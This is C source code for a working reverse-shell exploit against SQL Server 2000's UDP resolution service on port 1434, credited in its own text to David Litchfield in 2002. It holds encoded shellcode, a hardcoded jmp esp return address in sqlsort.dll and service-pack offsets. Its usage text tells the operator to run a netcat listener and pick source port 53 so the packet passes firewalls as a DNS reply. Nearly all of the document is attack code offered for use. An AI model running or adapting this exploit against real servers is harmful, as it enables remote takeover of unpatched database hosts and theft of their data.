#include <stdio.h> 
#include <windows.h> 
#include <winsock.h> 

int GainControlOfSQL(void); 
int StartWinsock(void); 

struct sockaddr_in c_sa; 
struct sockaddr_in s_sa; 

struct hostent *he; 
SOCKET sock; 
unsigned int addr; 
int SQLUDPPort=1434; 
char host[256]=""; 
char request[4000]="\x04"; 
char ping[8]="\x02"; 

char exploit_code[]= 
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C" 
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8" 
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6" 
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90" 
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83" 
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF" 
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF" 
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B" 
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33" 
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50" 
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53" 
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0" 
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9" 
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45" 
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40" 
"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35" 
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02" 
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10" 
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45" 
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF" 
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45" 
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98" 
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58" 
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83" 
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D" 
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0" 
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64" 
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74" 
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10" 
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76" 
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D" 
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58" 
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C" 
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C" 
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37" 
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C" 
"\x58"; 


int main(int argc, char *argv[]) 
{ 
unsigned int ErrorLevel=0,len=0,c =0; 
int count = 0; 
char sc[300]=""; 
char ipaddress[40]=""; 
unsigned short port = 0; 
unsigned int ip = 0; 
char *ipt=""; 
char buffer[400]=""; 
unsigned short prt=0; 
char *prtt=""; 


if(argc != 2 && argc != 5) 
{ 
printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit Code"); 
printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port sp",argv[0]); 
printf("\n\n\tYou need to set nectat listening on a port"); 
printf("\n\tthat you want the reverse shell to connect to"); 
printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53"); 
printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53 0",argv[0]); 
printf("\n\n\tAssuming, of course, your IP address is 199.199.199.199\n"); 
printf("\n\tWe set the source UDP port to 53 so this should go through"); 
printf("\n\tmost firewalls - looks like a reply to a DNS query. Change"); 
printf("\n\tthe source code if you want to modify this."); 
printf("\n\n\tThe SP Level is the SQL Server Service Pack:"); 
printf("\n\tWith no service pack the import address entry for"); 
printf("\n\tGetProcAddress() shifts by 12 bytes so we need to"); 
printf("\n\tchange one byte of the exploit code to reflect this."); 
printf("\n\n\n\tDavid Litchfield\n\tdavid@ngssoftware.com\n\t22nd May 2002\n\n\n\n"); 
return 0; 
} 

strncpy(host,argv[1],250); 
if(argc == 5) 
{ 
strncpy(ipaddress,argv[2],36); 

port = atoi(argv[3]); 
// SQL Server 2000 Service pack level 
// The import entry for GetProcAddress in sqlsort.dll 
// is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C 
// Need to set the last byte accordingly 
if(argv[4][0] == 0x30) 
{ 
printf("Service Pack 0. Import address entry for GetProcAddress @ 0x42ae1010\n"); 
exploit_code[9]=0x10; 
} 
else 
{ 
printf("Service Pack 1 or 2. Import address entry for GetProcAddress @ 0x42ae101C\n"); 
} 

} 

ErrorLevel = StartWinsock(); 
if(ErrorLevel==0) 
{ 
printf("Error starting Winsock.\n"); 
return 0; 
} 
if(argc == 2) 
{ 
strcpy(request,ping); 

GainControlOfSQL(); 
return 0; 
} 


strcpy(buffer,exploit_code); 

// set this IP address to connect back to 
// this should be your address 
ip = inet_addr(ipaddress); 
ipt = (char*)&ip; 
buffer[142]=ipt[0]; 
buffer[143]=ipt[1]; 
buffer[144]=ipt[2]; 
buffer[145]=ipt[3]; 

// set the TCP port to connect on 
// netcat should be listening on this port 
// e.g. nc -l -p 80 

prt = htons(port); 
prt = prt ^ 0xFFFF; 
prtt = (char *) &prt; 
buffer[160]=prtt[0]; 
buffer[161]=prtt[1]; 




strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX"); 

// Overwrite the saved return address on the stack 
// This address contains a jmp esp instruction 
// and is in sqlsort.dll. 

strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC 

// Need to do a near jump 
strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46"); 

// Need to set an address which is writable or 
// sql server will crash before we can exploit 
// the overrun. Rather than choosing an address 
// on the stack which could be anywhere we'll 
// use an address in the .data segment of sqlsort.dll 
// as we're already using sqlsort for the saved 
// return address 

// SQL 2000 no service packs needs the address here 
strcat(request,"\x01\x70\xAE\x42"); 

// SQL 2000 Service Pack 2 needs the address here 
strcat(request,"\x01\x70\xAE\x42"); 

// just a few nops 
strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90"); 


// tack on exploit code to the end of our request 
// and fire it off 
strcat(request,buffer); 

GainControlOfSQL(); 

return 0; 

} 


int StartWinsock() 
{ 
int err=0; 
WORD wVersionRequested; 
WSADATA wsaData; 

wVersionRequested = MAKEWORD( 2, 0 ); 
err = WSAStartup( wVersionRequested, &wsaData ); 
if ( err != 0 ) 
{ 
return 0; 
} 
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) 
{ 
WSACleanup( ); 
return 0; 
} 

if (isalpha(host[0])) 
{ 
he = gethostbyname(host); 
} 
else 
{ 
addr = inet_addr(host); 
he = gethostbyaddr((char *)&addr,4,AF_INET); 
} 

if (he == NULL) 
{ 
return 0; 
} 

s_sa.sin_addr.s_addr=INADDR_ANY; 
s_sa.sin_family=AF_INET; 
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); 
return 1; 
} 



int GainControlOfSQL(void) 
{ 

SOCKET c_sock; 

char resp[600]=""; 
char *ptr; 
char *foo; 
int snd=0,rcv=0,count=0, var=0; 
unsigned int ttlbytes=0; 
unsigned int to=2000; 
struct sockaddr_in srv_addr,cli_addr; 
LPSERVENT srv_info; 
LPHOSTENT host_info; 
SOCKET cli_sock; 


cli_sock=socket(AF_INET,SOCK_DGRAM,0); 
if (cli_sock==INVALID_SOCKET) 
{ 
return printf(" sock error"); 
} 

cli_addr.sin_family=AF_INET; 
cli_addr.sin_addr.s_addr=INADDR_ANY; 
cli_addr.sin_port=htons((unsigned short)53); 

setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned 
int)); 
if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR) 
{ 
return printf("bind error"); 
} 



s_sa.sin_port=htons((unsigned short)SQLUDPPort); 

if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) 
{ 
return printf("Connect error"); 
} 



else 
{ 
snd=send(cli_sock, request , strlen (request) , 0); 
printf("Packet sent!\nIf you don't have a shell it didn't work."); 
rcv = recv(cli_sock,resp,596,0); 
if(rcv > 1) 
{ 
while(count < rcv) 
{ 
if(resp[count]==0x00) 
resp[count]=0x20; 
count++; 
} 
printf("%s",resp); 
} 
} 
closesocket(cli_sock); 
return 0; 
} 

